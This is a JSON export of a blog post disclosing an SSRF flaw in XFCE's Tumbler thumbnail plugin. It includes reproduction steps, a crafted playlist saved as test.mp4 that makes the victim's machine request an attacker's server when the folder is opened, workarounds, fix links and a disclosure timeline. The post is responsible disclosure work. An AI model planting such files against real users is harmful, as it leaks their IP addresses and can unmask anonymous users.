{"id":187,"date":"2022-08-21T14:39:28","date_gmt":"2022-08-21T08:39:28","guid":{"rendered":"https:\/\/murat.one\/?p=187"},"modified":"2022-08-21T14:43:19","modified_gmt":"2022-08-21T08:43:19","slug":"ssrf-vulnerability-in-the-tumbler-plugin-of-xfce","status":"publish","type":"post","link":"https:\/\/murat.one\/?p=187","title":{"rendered":"SSRF vulnerability in the Tumbler plugin of XFCE"},"content":{"rendered":"\n<p class=\"justifier\"><strong>Server-side request forgery (also known as SSRF)<\/strong> &#8211; is a vulnerability that allows an attacker to induce the application to make requests to an unintended location. I&#8217;ve found that XFCE allows sending arbitrary HTTP requests when the directory with malicious mp4 file is opened.<\/p>\n\n\n\n<p><strong>Tested on:<\/strong> Debian-live-11.4.0-amd64-xfce, Kali Linux 2022.2<\/p>\n\n\n\n<p class=\"justifier\"><strong>Impact:<\/strong> Sensitive data exposure as IP address (for example, if user downloaded malicious mp4 file using<br>TOR Browser, this vulnerability anyway will leak the real IP address of user) and GStreamer version. The severity of this vulnerability is low, but I think it might be critical for Kali Linux users, who run intentionally vulnerable web applications locally (WebGoat, DVWA, etc.). Because some of them need only one HTTP request to gain code execution.<\/p>\n\n\n\n<p class=\"justifier\"><strong>Acknowledgements:<\/strong> BTS Digital ITSEC (because of their project this problem was detected), NitroTeam.kz (for helping with research in first steps), Ga\u00ebl Bonithon (@Tamaranch) and Alexander Schwinn (@alexxcons) for quick responses and operativeness.<\/p>\n\n\n\n<p><strong>Steps to reproduce:<\/strong><br>1. Create web server to accept requests or use online services like requestbin.com.<br>2. Create file test.mp4 with such content (payload):<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#EXTM3U\n#EXT-X-MEDIA-SEQUENCE:0\n#EXTINF:10.0,\nhttp:&#47;&#47;your_web_server\/some.mp4\n#EXT-X-ENDLIST<\/code><\/pre>\n\n\n\n<p>3. Open the directory that contains test.mp4. <br>4. Check the web server logs, you will get GET-request to the some.mp4 file.<\/p>\n\n\n\n<p><strong>Proof-of-concept<\/strong><\/p>\n\n\n\n<p><strong>1. Debian 11.4.0 XFCE<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"904\" height=\"510\" src=\"https:\/\/murat.one\/wp-content\/uploads\/2022\/08\/image.png\" alt=\"\" class=\"wp-image-188\" srcset=\"https:\/\/murat.one\/wp-content\/uploads\/2022\/08\/image.png 904w, https:\/\/murat.one\/wp-content\/uploads\/2022\/08\/image-300x169.png 300w, https:\/\/murat.one\/wp-content\/uploads\/2022\/08\/image-768x433.png 768w\" sizes=\"(max-width: 904px) 100vw, 904px\" \/><figcaption>version info<\/figcaption><\/figure>\n\n\n\n<p>Content of created file xfce.mp4 with URL of our web server:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"920\" height=\"189\" src=\"https:\/\/murat.one\/wp-content\/uploads\/2022\/08\/image-1.png\" alt=\"\" class=\"wp-image-189\" srcset=\"https:\/\/murat.one\/wp-content\/uploads\/2022\/08\/image-1.png 920w, https:\/\/murat.one\/wp-content\/uploads\/2022\/08\/image-1-300x62.png 300w, https:\/\/murat.one\/wp-content\/uploads\/2022\/08\/image-1-768x158.png 768w\" sizes=\"(max-width: 920px) 100vw, 920px\" \/><\/figure>\n\n\n\n<p>Opening directory where the file xfce.mp4 is located:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"659\" height=\"544\" src=\"https:\/\/murat.one\/wp-content\/uploads\/2022\/08\/image-2.png\" alt=\"\" class=\"wp-image-190\" srcset=\"https:\/\/murat.one\/wp-content\/uploads\/2022\/08\/image-2.png 659w, https:\/\/murat.one\/wp-content\/uploads\/2022\/08\/image-2-300x248.png 300w\" sizes=\"(max-width: 659px) 100vw, 659px\" \/><\/figure>\n\n\n\n<p>Checking web server logs:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"860\" height=\"414\" src=\"https:\/\/murat.one\/wp-content\/uploads\/2022\/08\/image-3.png\" alt=\"\" class=\"wp-image-191\" srcset=\"https:\/\/murat.one\/wp-content\/uploads\/2022\/08\/image-3.png 860w, https:\/\/murat.one\/wp-content\/uploads\/2022\/08\/image-3-300x144.png 300w, https:\/\/murat.one\/wp-content\/uploads\/2022\/08\/image-3-768x370.png 768w\" sizes=\"(max-width: 860px) 100vw, 860px\" \/><\/figure>\n\n\n\n<p><strong>2. Kali Linux 2022.2<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"957\" height=\"338\" src=\"https:\/\/murat.one\/wp-content\/uploads\/2022\/08\/image-4.png\" alt=\"\" class=\"wp-image-193\" srcset=\"https:\/\/murat.one\/wp-content\/uploads\/2022\/08\/image-4.png 957w, https:\/\/murat.one\/wp-content\/uploads\/2022\/08\/image-4-300x106.png 300w, https:\/\/murat.one\/wp-content\/uploads\/2022\/08\/image-4-768x271.png 768w\" sizes=\"(max-width: 957px) 100vw, 957px\" \/><figcaption>version info<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"904\" height=\"269\" src=\"https:\/\/murat.one\/wp-content\/uploads\/2022\/08\/image-5.png\" alt=\"\" class=\"wp-image-194\" srcset=\"https:\/\/murat.one\/wp-content\/uploads\/2022\/08\/image-5.png 904w, https:\/\/murat.one\/wp-content\/uploads\/2022\/08\/image-5-300x89.png 300w, https:\/\/murat.one\/wp-content\/uploads\/2022\/08\/image-5-768x229.png 768w\" sizes=\"(max-width: 904px) 100vw, 904px\" \/><figcaption>content of created file test.mp4 with URL of our web server<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"904\" height=\"274\" src=\"https:\/\/murat.one\/wp-content\/uploads\/2022\/08\/image-6.png\" alt=\"\" class=\"wp-image-195\" srcset=\"https:\/\/murat.one\/wp-content\/uploads\/2022\/08\/image-6.png 904w, https:\/\/murat.one\/wp-content\/uploads\/2022\/08\/image-6-300x91.png 300w, https:\/\/murat.one\/wp-content\/uploads\/2022\/08\/image-6-768x233.png 768w\" sizes=\"(max-width: 904px) 100vw, 904px\" \/><figcaption>opening directory with malicious mp4<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"785\" height=\"431\" src=\"https:\/\/murat.one\/wp-content\/uploads\/2022\/08\/image-7.png\" alt=\"\" class=\"wp-image-196\" srcset=\"https:\/\/murat.one\/wp-content\/uploads\/2022\/08\/image-7.png 785w, https:\/\/murat.one\/wp-content\/uploads\/2022\/08\/image-7-300x165.png 300w, https:\/\/murat.one\/wp-content\/uploads\/2022\/08\/image-7-768x422.png 768w\" sizes=\"(max-width: 785px) 100vw, 785px\" \/><figcaption>logs of Burp Collaborator<\/figcaption><\/figure>\n\n\n\n<p>If you didn&#8217;t want to update your XFCE, you can use workarounds below. But the official fix is also available.<\/p>\n\n\n\n<p><strong>Workaround<\/strong> #1<\/p>\n\n\n\n<p>Go the preferences of your file manager and disable showing thumbnails:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"747\" height=\"495\" src=\"https:\/\/murat.one\/wp-content\/uploads\/2022\/08\/image-9.png\" alt=\"\" class=\"wp-image-198\" srcset=\"https:\/\/murat.one\/wp-content\/uploads\/2022\/08\/image-9.png 747w, https:\/\/murat.one\/wp-content\/uploads\/2022\/08\/image-9-300x199.png 300w\" sizes=\"(max-width: 747px) 100vw, 747px\" \/><\/figure>\n\n\n\n<p>It will prevent creating thumbnails, so also SSRF.<\/p>\n\n\n\n<p><strong>Workaround #2<\/strong><\/p>\n\n\n\n<p>Disable GStreamer plugin (Disabled=true) in <strong>\/etc\/xdg\/tumbler\/tumbler.rc<\/strong> then reboot or run <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>pkill tumblerd<\/code><\/pre>\n\n\n\n<p><strong>Official fix<\/strong><\/p>\n\n\n\n<p>Link to the official fix &#8211; <a rel=\"noreferrer noopener\" href=\"https:\/\/mail.xfce.org\/pipermail\/xfce-announce\/2022-August\/001133.html\" target=\"_blank\">https:\/\/mail.xfce.org\/pipermail\/xfce-announce\/2022-August\/001133.html<\/a><br>Commit &#8211; <a href=\"https:\/\/gitlab.xfce.org\/xfce\/tumbler\/-\/commit\/a0fc191e8ab41fe579f3333085d649fdacb2daa5\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/gitlab.xfce.org\/xfce\/tumbler\/-\/commit\/a0fc191e8ab41fe579f3333085d649fdacb2daa5<\/a><\/p>\n\n\n\n<p><strong>Timeline of the vulnerability<\/strong><\/p>\n\n\n\n<p>07\/30\/2022 \u2013 initial discover and creating confidential issue (<a rel=\"noreferrer noopener\" href=\"https:\/\/gitlab.xfce.org\/xfce\/tumbler\/-\/issues\/65\" target=\"_blank\">https:\/\/gitlab.xfce.org\/xfce\/tumbler\/-\/issues\/65<\/a>)<br>07\/31\/2022 \u2013 requesting MITRE to assign CVE id (still ignoring me even with the links to the official fix)<br>08\/01\/2022 \u2013 vendor reproduced the problem<br>08\/02\/2022 \u2013 vendor created the patch<br>08\/12\/2022 \u2013 vendor released fixed version<br>08\/21\/2022 &#8211; the confidentiality of issue was removed, vendor created upstream issue to Gstreamer (<a rel=\"noreferrer noopener\" href=\"https:\/\/gitlab.freedesktop.org\/gstreamer\/gstreamer\/-\/issues\/1392\" target=\"_blank\">https:\/\/gitlab.freedesktop.org\/gstreamer\/gstreamer\/-\/issues\/1392<\/a>), published<\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>SSRF vulnerability was found in Tumbler plugin of XFCE. It works on the latest Debian and Kali Linux, and high likely on all Linux distributions with out-of-date XFCE.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[14,1],"tags":[35,38,36,37,39,34],"_links":{"self":[{"href":"https:\/\/murat.one\/index.php?rest_route=\/wp\/v2\/posts\/187"}],"collection":[{"href":"https:\/\/murat.one\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/murat.one\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/murat.one\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/murat.one\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=187"}],"version-history":[{"count":7,"href":"https:\/\/murat.one\/index.php?rest_route=\/wp\/v2\/posts\/187\/revisions"}],"predecessor-version":[{"id":204,"href":"https:\/\/murat.one\/index.php?rest_route=\/wp\/v2\/posts\/187\/revisions\/204"}],"wp:attachment":[{"href":"https:\/\/murat.one\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=187"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/murat.one\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=187"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/murat.one\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=187"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}